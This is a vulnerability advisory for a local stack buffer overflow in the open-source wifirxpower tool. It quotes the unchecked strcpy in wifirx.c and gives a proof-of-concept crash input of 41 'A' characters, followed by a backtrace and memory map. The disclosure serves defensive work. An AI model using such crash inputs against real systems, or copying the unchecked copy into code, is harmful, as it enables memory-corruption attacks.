wifirxpower Local Buffer Overflow

2017.03.24
Credit: Nassim Asrir
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

[+] Title: wifirxpower - Local Stack Based Buffer Overflow [+] Credits / Discovery: Nassim Asrir [+] Author Email: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/ [+] Author Company: Henceforth [+] CVE: N/A Vendor: =============== https://github.com/cnlohr/wifirxpower Download: =========== https://github.com/cnlohr/wifirxpower Vulnerability Type: =================== Local Stack Based Buffer Overflow issue: =================== 'wifirx.c' contain a vulnerable code in the line '111' the developer use the 'strcpy' function and does not check the buffer destination and cause a Stack Oveflow. Vulnerable Code (102 - 124) wifirx.c: =================== int GetQuality( const char * interface, int * noise ) { int sockfd; struct iw_statistics stats; struct iwreq req; memset(&stats, 0, sizeof(stats)); memset(&req, 0, sizeof(struct iwreq)); strcpy( req.ifr_name, interface ); req.u.data.pointer = &stats; req.u.data.length = sizeof(struct iw_statistics); #ifdef CLEAR_UPDATED req.u.data.flags = 1; #endif /* Any old socket will do, and a datagram socket is pretty cheap */ if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { if( first ) perror("Could not create simple datagram socket"); first = 0; //exit(EXIT_FAILURE); return -1; } Exploit: ========= 1 - ./wifirx aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 2 - r $(python -c 'print"A"*41') Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ffff6ec3e37] /lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x0)[0x7ffff6ec3e00] /home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401aaa] /home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401d21] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed)[0x7ffff6ddb7ed] /home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401449] Memory Map: =========== 00606000-0062a000 rw-p 00000000 00:00 0 [heap] 7ffff6379000-7ffff638e000 r-xp 00000000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff638e000-7ffff658d000 ---p 00015000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff658d000-7ffff658e000 r--p 00014000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff658e000-7ffff658f000 rw-p 00015000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff658f000-7ffff6594000 r-xp 00000000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0 7ffff6594000-7ffff6793000 ---p 00005000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0 7ffff6793000-7ffff6794000 r--p 00004000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0 7ffff6794000-7ffff6795000 rw-p 00005000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0 7ffff6795000-7ffff6797000 r-xp 00000000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0 7ffff6797000-7ffff6996000 ---p 00002000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0 7ffff6996000-7ffff6997000 r--p 00001000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0 7ffff6997000-7ffff6998000 rw-p 00002000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0 7ffff6998000-7ffff699a000 r-xp 00000000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so 7ffff699a000-7ffff6b9a000 ---p 00002000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so 7ffff6b9a000-7ffff6b9b000 r--p 00002000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so 7ffff6b9b000-7ffff6b9c000 rw-p 00003000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so 7ffff6b9c000-7ffff6bb9000 r-xp 00000000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0 7ffff6bb9000-7ffff6db8000 ---p 0001d000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0 7ffff6db8000-7ffff6db9000 r--p 0001c000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0 7ffff6db9000-7ffff6dba000 rw-p 0001d000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0 7ffff6dba000-7ffff6f6e000 r-xp 00000000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff6f6e000-7ffff716d000 ---p 001b4000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff716d000-7ffff7171000 r--p 001b3000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff7171000-7ffff7173000 rw-p 001b7000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff7173000-7ffff7178000 rw-p 00000000 00:00 0 7ffff7178000-7ffff7188000 r-xp 00000000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0 7ffff7188000-7ffff7387000 ---p 00010000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0 7ffff7387000-7ffff7388000 r--p 0000f000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0 7ffff7388000-7ffff7389000 rw-p 00010000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0 7ffff7389000-7ffff738b000 r-xp 00000000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0 7ffff738b000-7ffff758a000 ---p 00002000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0 7ffff758a000-7ffff758b000 r--p 00001000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0 7ffff758b000-7ffff758c000 rw-p 00002000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0 7ffff758c000-7ffff75a4000 r-xp 00000000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so 7ffff75a4000-7ffff77a3000 ---p 00018000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so 7ffff77a3000-7ffff77a4000 r--p 00017000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so 7ffff77a4000-7ffff77a5000 rw-p 00018000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so 7ffff77a5000-7ffff77a9000 rw-p 00000000 00:00 0 7ffff77a9000-7ffff78a4000 r-xp 00000000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so 7ffff78a4000-7ffff7aa3000 ---p 000fb000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so 7ffff7aa3000-7ffff7aa4000 r--p 000fa000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so 7ffff7aa4000-7ffff7aa5000 rw-p 000fb000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so 7ffff7aa5000-7ffff7bd5000 r-xp 00000000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0 7ffff7bd5000-7ffff7dd5000 ---p 00130000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0 7ffff7dd5000-7ffff7dd6000 r--p 00130000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0 7ffff7dd6000-7ffff7dda000 rw-p 00131000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0 7ffff7dda000-7ffff7dfc000 r-xp 00000000 08:01 7606759 /lib/x86_64-linux-gnu/ld-2.15.so 7ffff7fd5000-7ffff7fdb000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffb000 rw-p 00000000 00:00 0 7ffff7ffb000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 7606759 /lib/x86_64-linux-gnu/ld-2.15.so 7ffff7ffd000-7ffff7fff000 rw-p 00023000 08:01 7606759 /lib/x86_64-linux-gnu/ld-2.15.so 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Tested on: =============== Linux Ubuntu x86_64


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